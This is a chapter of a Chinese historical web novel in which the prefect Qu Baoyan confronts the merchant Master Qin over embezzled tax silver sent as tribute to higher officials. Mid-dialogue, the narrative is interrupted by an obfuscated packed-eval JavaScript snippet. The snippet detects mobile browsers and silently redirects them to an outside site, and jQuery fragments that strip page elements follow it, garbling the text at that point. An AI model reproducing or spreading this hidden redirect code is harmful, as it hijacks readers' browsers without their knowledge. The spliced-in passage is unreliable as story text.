一州十几万的百姓，年年纳税，有的地方甚至征至双倍，可一报上去，却永远都是“岁支紧张、支绌不止”。叫百姓越纳越苦，而朝廷却越纳越空。天子空仓，百姓空口，而中间之人，却赚得满库充盈。 不过诸如温咏初之流，却算不得真正的中间人。当初温咏初府中查得的赃银虽丰，可即便渌州所有地方官员贪得同他一样，数额却也只够补上亏空的十分之一。 那余下的九分去了哪里？ 秦家是渌州最大的商户，吞金如海，手法老练。甚至顶风作案，于灾中囤粮谋利，视官令如草芥。即便她已下令限价平粜，他们仍绕路设牌，压价收粮，层层牟利。仗着有巡抚撑腰便敢如此胆大妄为也罢，可问题是——他们图的究竟是什么？ 秦家财力虽雄厚，却并不铺张。秦老爷起居朴素，家宅精而不奢。若是吞了这许多银子，照理说，秦家的生意早该通达五湖四海，布遍南北，何至于始终盘踞在一个小小的渌州？ 除非他们吞不下，也吃不尽。 那么，这些银子，从一开始，便不是为他们自己准备的。 而在这些账册里，渌州财政年年亏空的那一截，清清楚楚分门别类的冠以“孝敬”之名一批批送了出去。 送往何处？ “上面”。 这两个字极轻，却有千钧之重，压的人人不敢开口。 两个字极短，却能说得理直气壮，说得冠冕堂皇，也说得——无可奈何。 王朝更替法度翻新，却似乎唯有这等事亘古未绝代代如旧。 瞿宝砚静静坐在案前，看着这些账本，眼前像是铺开了一张巨网。一头拴着商贾，一头连着衙门，一根根丝线牵来牵去，从渌州铺开，牵着无数人的生计，也牵着无数条的命。 她不是没见过血。 可血流成河，从来不是她想要的答案。 她能斩温咏初，能封秦家铺面，能一纸令下肃清渌州，可这条链子一动，要搭上的，又是多少条无辜性命，她却不敢算了。 「动之即乱，不动即腐。」 到了这一步，这句话，不再是文人笔下的慷慨陈词，也不再是纸上高谈的豪言壮语， 而是摆在眼前活生生的人命与血肉。 53. 浮线归根2 门外响起一声轻叩。 “大人，”宝桃儿在门外唤道，语气轻轻，“已经过去两个时辰了，现在是酉正。” 瞿宝砚合上账本，缓缓应了一声：“好。” 她起身，将身上那外袍挂上椅背，又顿了顿，取了手边一本账本，转身出门。 日色已近西沉，斜阳自天边斜洒而下，将知州府的廊角檐柱染上一层苍黄薄金。 房中灯尚未点起，秦老爷独坐在堂前，衣袍整肃，目光直直望着前方，似乎在看那大门，又似乎落在紧闭的门扉之外。 他坐得稳，像一尊石像，一动不动，整个人仿佛沉入了某种静定之中。 门扉忽然吱呀一响，打破了屋内凝滞许久的寂静。 秦老爷似乎被这动静惊到，肩头微微一颤，眼神这才聚拢，回过神来。 见到来人，他慢慢起身，躬身一礼，道：“大人。” 瞿宝砚微颔首，抬手道：“您坐。” 又随手将手中的账本轻轻搁在了桌上，抬眼看了秦老爷一眼，语气平静： “您要看看么？” 秦老爷看也没看，只抬手摆了摆，缓声道：“老朽老了，这双眼老眼昏花，不济事，看不得这些细字，大人有什么话，不妨就直说吧。” 瞿宝砚点了点头，在他对面落座，言语依旧温和：“昨夜贵府突发火情，所幸扑救及时，全府上下安然无恙，无人受伤，也无财物损毁。那些账房中几大箱的账册，也俱数完好，一页未失。” 秦老爷微微点头拱手道：“真是有劳大人了。” 话落，屋中却陷入一时静默。 瞿宝砚慢慢道：“秦老爷就没有什么想问本官的吗？” 秦老爷依旧坐得稳，他沉吟片刻，才慢吞吞开口：“那老朽便斗胆一问……不知自大人赴任以来，已有多少时日？” 瞿宝砚答道：“本官五月赴任，如今七月将尽，算来尚不足三月。” 秦老爷轻轻“哦”了一声，微微颔首，像是记下了什么，又似早已心知。 片刻后，他笑了笑，语气悠然：“那大人不妨猜猜，老朽做这买卖，做了多少年？” 瞿宝砚道：“愿闻其详。” 秦老爷抬起眼帘，望向门外尚余的光线，缓声道： “我十五岁起，便开始在江南道各州的码头跑腿，什么货都扛过，每天风里来雨里去的，日子虽苦，每天却也快活得很。后来，攒了些本钱，也是机缘巧合之下，接了几家铺面，自此桥上过马，江上跑船，一年三百六十日，无一日闲。到了如今，年过六旬，自知不中用了，也不再插手家里什么生意上的细事。但老朽这双眼睛，也是看过五十年风浪的人。” 他言辞沉静，望向瞿宝砚：“老朽私以为——此事，大人不该插手。” 瞿宝砚淡淡一笑：“不知您以为，我今日为的是哪桩事？” 秦老爷也笑了笑，却随即轻轻摇头，眼神收了笑意，道： “大人年纪轻轻，就高中状元，才慧定是惊艳过人，又来此地担任知州，可见胆识更胜。我家那几个小辈，自是比不得。老大稳重，却智慧不足；唯一的女儿，自幼便惯坏了性子，眼里容不下一丁点沙子；至于我那小儿……倒是最聪明的一个，却也是自作聪明，眼界还不够通达。说句实话，他们三个加起来，也未必顶得上大人您一个。” 瞿宝砚：“您言重了。” 秦老爷又道：“大人心里应是明白的，自己为何被派来接手这渌州。” 他抬头，目光虚指天上，语气温和却意有所指：“上头一句话，说往东您就得往东，说跳火坑……您也只能跳。” 瞿宝砚目光如水，淡淡道：“火坑？” 秦老爷淡淡一笑，神情分明：“您无党无派，出身清白。家中无人在朝，又性情耿直，不阿不附。说得好听是公正无私；可说得明白些——是可用之人，却也是可弃之人。” 他轻叹一声：“这件事，大人若真插手，介时自身难保的，恐怕不会是秦家，也不会是您查出来的那些人——” “而是您，瞿大人。” 他抬眼看向瞿宝砚，目光沉沉：“大人应当明白，这背后牵扯的，不是几个人的私事，也不是一桩案子的得失。那是一条船，是屋脊。屋里的人哪怕平日各怀心思，但一旦风雨将至，必定是拧成一股绳，合力反扑，不为别的，就为了自保。” 他语气微顿，望着她，声音更低了些：“船上的人越多，这股力量就越大。” “而您呢？孤身一人，背后无援，拿什么抵抗？凭一道圣旨？” “刀若是真落下去，那上头便要算账，朝廷便得负责。可落刀容易，收刀难。局要收，事要平，各家要安。在最后，总得有人付出代价。” 他语气缓缓道：“杀一人，平百事。对朝廷来说，这是最稳妥、也是最划算的法子。” 屋中静了一瞬。 秦老爷看向瞿宝砚，目光如炬，一字一句： “大人…难道要做这一人么？” 瞿宝砚静静听完，未置一词。她神色未动，沉默片刻，才缓声开口道：“秦老爷这番话，听起来倒像是与官场打过不少交道。” “您说自己十五岁起便跑码头，如今能在渌州立此家业、结下这番人脉，坐而能定渌州商界之气，想来这一路，所遇贵人不少。” 她略顿，随即似笑非笑：“倒是叫我这年轻人，好生羡慕。” 秦老爷目光微动，笑了，他眼角略微下垂，摆摆手，口中道得谦和：“大人折煞老朽了。谈不上什么本事，不过是走得早，摸得久些，再加上…有几分贵人缘罢了。” 他话锋一转，带上了几分意味深长：“但实话说来，这贵人运气，人人盼，却未必人人得。若真遇上了，须得把握住了，便是扶摇而上；倘若错过了——那便是失之交臂，终身蹉跎哪。” 瞿宝砚似有感慨，点了点头，接着道：“这话说得在理，您是前辈，又阅历深厚，那我便要向您讨教讨教了，依您之见——何为贵人？” 秦老爷捋了捋须，笑容不减，语气淡然：“贵人之说，自古多有。能提你一程，渡你一关的，皆可称贵。” “但依老朽拙见——能改命者，方是真贵人。” 话至此处，他将目光重新落在瞿宝砚身上，语意含蓄：“说句僭越的话，大人如今四面皆势，一人孤舟，正是风雨将至之时。若此时有人肯伸一臂之力，那便是解困之援，改命之机。如此贵人，大人可切莫错过了。” 瞿宝砚闻言，似笑非笑地应了一声“说的是啊”，眼中却是一片静意。 她不急着接话，只低头轻抿了一口茶，像是细细品着温度。片刻，她开口，语气温和： “秦老爷默默无闻做了十五年的伙计，三十那年才起家。彼时接下江南数家铺子，生意一跃而起，账上银子也日日见涨。人人都说，您是熬出头了。可也有人说，那年恰逢新任巡抚入江南，道路铺陈，码头整顿，您提前得了消息，手上粮布先一步入市，赚得盆满钵满。” 她语声轻缓，像是讲一段渌州的旧事。 “再后来，有人请帖不敢不送，有人登门求货三请三拜，才知秦老爷不止是生意做得稳……连门第也高了。” “娶得巡抚家的小女儿，女婿做得稳，银子一车车的送，岳丈也有体面，真是皆大欢喜。从那日往后，秦家的门槛便高了半寸，身份再非往昔，算是实打实地，改了命数。” 一句话落下，堂中微静。 秦老爷收了笑意，眼神微敛，沉默片刻，才缓缓道：“不知大人是何意思。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16288575|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 瞿宝砚却只淡淡一笑，回看他一眼，她语调极轻，像是细雨落檐。 “贵人运气，确实难得。” “但我想，您能走到今日这一步，光靠这一位贵人，只怕也是不够的。” 她语声未止只略顿一顿便继续缓缓道来： “您十五岁起在码头跑货，扛担、抄账，桥上过马，江里撑船，那些年，可不是一朝一夕的清苦。算起来，到三十那年见得巡抚之前，这光景也走了整整十五载。” “这十五年里，老爷与多少人打过交道？得过多少前辈提点，多少同行照拂？又有多少账房先生、码头伙计替您扛过急、撑过场？多少买卖，是他们帮着搭了话、铺了路，才得以做成的？” 她慢慢抬眸，望向秦老爷，目光清澈无波，却似能照见旧年尘埃： “若无那一日日累出来的信誉、人情、底子，秦老爷又凭什么，换得那一纸引荐、见得那一面之缘？” “——这些人，难道就不算贵人了？” 秦老爷沉默了。 瞿宝砚继续静静道：“秦老爷方才说，那是一条船，是屋脊，这话说得好。” “但您是否记得，自己最初是从哪块瓦片底下翻的身？” “那一条船，是谁先往里添的柴？那一间屋，又是谁先替您扛的梁？又是谁，在风雨未至之时，就站在檐下淋了三十年？” “如今‘贵人’一句话，您便不惜代价稳屋护船，做得白，也做干净。毕竟那屋外风雨再打来的时候，淋湿的不再是您。” “而是那些当年和您一样挑水抬担、寒暑不避的人。” “他们无名无分，进不了厅，登不上门，只能眼睁睁看着，自己拼命盖起的屋，如今压得他们抬不起头。” 她语声微顿，缓缓望向堂中： “世上哪一座屋子，只凭几根屋脊便能立起来？” “若无基石，何来高台？若无梁木，又撑得起几尺屋檐？一砖一瓦皆是血汗，一石一木皆有人命。” “屋脊居高，本该遮风避雨。若只顾自安，反将下者压得透不过气。彼时倾塌的，岂止一角？满堂俱覆，粉身碎骨，谁也不能幸免。” “那时此屋，便不再是护身之所——而是压顶之祸。” 堂中气氛沉沉如水，似连那空气都凝结不动，落针可闻。 墙角烛火跳了跳，照在堂柱之上，影子扭曲浮动，仿佛风起欲雨。 秦老爷静坐原位，神色未变，掌心却已微微收紧，茶盏底下一抹水痕晃了几晃，终归平静。 瞿宝砚没有再说什么。只是低头轻轻理了理衣襟，起身迈出两步，忽而又一顿。 那声音不高，却字字叩人心上： “秦老爷——好自为之。” 话音一落，她袍袖轻扬，背影穿过厅门，在光影与阴影之间一晃而出。 堂门未闭，风自门外徐徐吹入，卷起案上几页旧账，哗然翻动，纸角震颤—— 而门扉闭上的刹那，秦老爷原本沉稳的手，此刻有些不受控地颤了一下。室内再次静默，他眼神一紧，伸手迅速拿过方才瞿宝砚留下的那本账册。 他拇指一翻，页上白茫茫一片。 翻了一页，又是一片空白。 再翻一页——仍是空白。 秦老爷眉心轻蹙，静静地盯着那册子，良久，未言未动。 沉默片刻，他终于放下账本，身子微微后仰，靠在椅背上。 眼中神色已由初时的老沉，转作一丝看不透的茫然—— 堂外风声渐起。 斜阳透过廊檐，映在雕花木窗上，投下一道道交错的影子。那影子随着光线缓慢下沉，原本斑驳如织，转瞬便碎成了一地暗黄。 天边的光正落入山后，夜色已至。